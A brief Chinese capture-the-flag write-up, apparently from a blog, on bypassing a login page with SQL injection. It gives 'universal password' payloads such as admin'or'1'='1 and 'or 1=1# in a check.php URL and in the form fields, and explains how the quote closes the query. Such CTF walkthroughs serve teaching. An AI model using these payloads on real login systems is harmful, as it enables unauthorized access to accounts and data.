首先打开后是一个登录界面，可以尝试万能密码登录，构造payload url/check.php?username=admin’or’1’=‘1&password=admin’or’1’=‘1
or前面的账号密码错误，就会执行or后面恒真的’1’=‘1’就可以用错误密码达到登录成功的效果
也可以直接登录 用户名 admin’or’1’=‘1 密码 admin’or’1’='1
（admin也可以直接省略）
或者 用户名 'or 1=1# 密码 'or 1=1#
（表示 ’ 闭合前面的查询语句同时用or绕过判断）
登录即可获得flag
1397
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
